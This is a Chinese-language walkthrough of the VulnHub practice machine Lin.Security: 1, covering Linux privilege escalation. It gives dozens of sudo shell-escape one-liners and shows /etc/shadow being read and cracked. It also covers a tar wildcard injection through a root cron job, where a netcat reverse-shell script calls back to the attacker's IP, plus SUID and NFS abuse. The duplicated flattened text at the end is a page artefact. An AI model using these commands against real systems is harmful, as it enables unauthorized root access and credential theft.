VulnHub-Lin.Security: 1-靶机渗透学习
字数 1040 2025-08-15 21:33:19

VulnHub-Lin.Security: 1 靶机渗透学习文档

靶机概述

  • 靶机名称: Lin.Security: 1
  • 难度等级: 中级(CTF)
  • 发布日期: 2018年7月11日
  • 操作系统: Ubuntu 18.04 LTS
  • 镜像大小: <1.7GB
  • 初始凭证: bob/secret
  • 目标: 获取root权限

信息收集

初始访问

  • 使用提供的凭证登录: bob/secret

提权方法总结

方法一: Sudo提权

bob用户具备sudo权限,可以利用多种命令进行提权:

  1. ash:

    sudo ash
    
  2. awk:

    sudo awk 'BEGIN {system("/bin/sh")}'
    
  3. bash:

    sudo bash
    
  4. csh:

    sudo csh
    
  5. curl:

    sudo curl file:///etc/shadow
    
  6. dash:

    sudo dash
    
  7. ed:

    sudo ed
    !/bin/sh
    
  8. env:

    sudo env /bin/sh
    
  9. expect:

    sudo expect -c 'spawn /bin/sh;interact'
    
  10. find:

    sudo find . -exec /bin/sh \; -quit
    
  11. ftp:

    sudo ftp
    !/bin/sh
    
  12. less:

    sudo less /etc/passwd
    !/bin/sh
    
  13. man:

    sudo man man
    !/bin/sh
    
  14. more:

    sudo more /etc/passwd
    !/bin/sh
    
  15. scp:

    TF=$(mktemp)
    echo 'sh 0<&2 1>&2' > $TF
    chmod +x "$TF"
    sudo scp -S $TF x y:
    
  16. socat:

    sudo socat stdin exec:/bin/sh
    
  17. ssh:

    sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
    
  18. vi:

    sudo vi -c ':!/bin/sh' /dev/null
    
  19. zsh:

    sudo zsh
    
  20. pico:

    sudo pico
    ^R^X
    reset; sh 1>&0 2>&0
    
  21. rvim:

    sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    
  22. perl:

    sudo perl -e 'exec "/bin/sh";'
    
  23. tclsh:

    sudo tclsh
    exec /bin/sh <@stdin >@stdout 2>@stderr
    
  24. git:

    sudo git -p help config
    !/bin/sh
    
  25. script:

    sudo script -q /dev/null
    

方法二: Hash密码破解

  1. 查看/etc/shadow文件获取用户hash密码
  2. 使用johnhashcat进行破解
  3. 示例破解结果: insecurity/P@ssw0rd

方法三: 通配符提权(tar命令注入)

  1. 发现存在root权限的每分钟执行一次的定时任务,使用tar命令备份home目录
  2. 在bob目录下执行以下操作:
    # 生成反弹shell
    msfvenom -p cmd/unix/reverse_netcat lhost=<攻击机IP> lport=6666
    
    # 注入检查点标志
    echo "" > --checkpoint=1
    
    # 创建shell脚本
    echo "mkfifo /tmp/ujwa; nc <攻击机IP> 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&1; rm /tmp/ujwa" > shell.sh
    
    # 注入检查点动作
    echo "" > "--checkpoint-action=exec=sh shell.sh"
    
  3. 等待定时任务执行,获取反弹shell

方法四: SUID提权

  1. 查找具有SUID权限的文件:

    find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
    
  2. 利用特定SUID程序提权:

    • xxd:

      xxd /etc/shadow | xxd -r
      

      然后使用john破解获取root密码: root/secret123

    • taskset:

      taskset 1 /bin/sh -p
      

方法五: NFS提权

  1. 发现NFS服务:

    showmount -e <靶机IP>
    
  2. 挂载共享目录:

    mount -t nfs <靶机IP>:/home/peter /tmp/nfs/
    
  3. 发现root可直接访问root目录,但无法直接拷贝文件

  4. 修改本地test2用户的GID匹配共享目录:

    groupmod -g 1005 test2
    
  5. 创建SSH密钥并复制到共享目录:

    cp /tmp/authorized_keys authorized_keys
    
  6. 使用密钥连接:

    ssh -i id_rsa peter@<靶机IP>
    
  7. 发现peter用户有sudo权限,使用strace提权:

    sudo strace -o /dev/null /bin/sh
    

总结

本靶机提供了多种Linux提权方法的实践机会,主要包括:

  1. Sudo提权 - 利用各种命令的sudo权限
  2. Hash密码破解 - 通过shadow文件获取并破解密码
  3. 通配符提权 - 利用tar命令的特性进行注入
  4. SUID提权 - 利用具有SUID权限的特殊程序
  5. NFS提权 - 通过网络共享文件系统获取权限

每种方法都展示了Linux系统中不同配置错误或特性可能被利用的方式,对于理解Linux系统安全有重要价值。

VulnHub-Lin.Security: 1 靶机渗透学习文档 靶机概述 靶机名称 : Lin.Security: 1 难度等级 : 中级(CTF) 发布日期 : 2018年7月11日 操作系统 : Ubuntu 18.04 LTS 镜像大小 : <1.7GB 初始凭证 : bob/secret 目标 : 获取root权限 信息收集 初始访问 使用提供的凭证登录: bob/secret 提权方法总结 方法一: Sudo提权 bob用户具备sudo权限,可以利用多种命令进行提权: ash : awk : bash : csh : curl : dash : ed : env : expect : find : ftp : less : man : more : scp : socat : ssh : vi : zsh : pico : rvim : perl : tclsh : git : script : 方法二: Hash密码破解 查看 /etc/shadow 文件获取用户hash密码 使用 john 或 hashcat 进行破解 示例破解结果: insecurity/P@ssw0rd 方法三: 通配符提权(tar命令注入) 发现存在root权限的每分钟执行一次的定时任务,使用tar命令备份home目录 在bob目录下执行以下操作: 等待定时任务执行,获取反弹shell 方法四: SUID提权 查找具有SUID权限的文件: 利用特定SUID程序提权: xxd : 然后使用john破解获取root密码: root/secret123 taskset : 方法五: NFS提权 发现NFS服务: 挂载共享目录: 发现root可直接访问root目录,但无法直接拷贝文件 修改本地test2用户的GID匹配共享目录: 创建SSH密钥并复制到共享目录: 使用密钥连接: 发现peter用户有sudo权限,使用strace提权: 总结 本靶机提供了多种Linux提权方法的实践机会,主要包括: Sudo提权 - 利用各种命令的sudo权限 Hash密码破解 - 通过shadow文件获取并破解密码 通配符提权 - 利用tar命令的特性进行注入 SUID提权 - 利用具有SUID权限的特殊程序 NFS提权 - 通过网络共享文件系统获取权限 每种方法都展示了Linux系统中不同配置错误或特性可能被利用的方式,对于理解Linux系统安全有重要价值。